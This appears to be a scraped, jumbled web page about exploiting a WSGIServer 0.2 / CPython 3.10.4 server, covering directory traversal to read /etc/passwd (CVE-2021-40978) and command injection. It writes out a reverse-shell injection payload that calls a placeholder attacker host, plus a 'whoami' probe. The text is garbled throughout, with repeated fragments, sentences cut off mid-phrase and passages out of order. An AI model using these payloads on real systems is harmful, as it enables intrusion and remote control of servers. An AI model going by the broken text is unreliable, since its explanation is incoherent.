0.2 Cpython 3.10.4 Exploit | Wsgiserver

An attacker can use dot-dot-slash ( ../ ) sequences to access sensitive system files like /etc/passwd .

Injecting ; whoami or ; bash -i >& /dev/tcp/attacker_ip/port 0>&1 to gain a reverse shell. Identifying the Target wsgiserver 0.2 cpython 3.10.4 exploit

The server fails to protect against multiple slashes ( // ) at the beginning of a URI path. An attacker can use dot-dot-slash (

When a web server returns the header Server: WSGIServer/0.2 CPython/3.10.4 , it reveals that the application is running on using a basic WSGI (Web Server Gateway Interface) server. In many cases, this specific version combination is associated with MkDocs 1.2.2 or older versions of Django used for local development. Key Vulnerabilities 1. Directory Traversal (CVE-2021-40978) When a web server returns the header Server: WSGIServer/0

An application that takes a system command as a parameter (e.g., a "ping" tool) without validation can be forced to execute arbitrary bash commands.

Always sanitize user-provided paths and parameters to prevent traversal and injection attacks. nisdn/CVE-2021-40978 · GitHub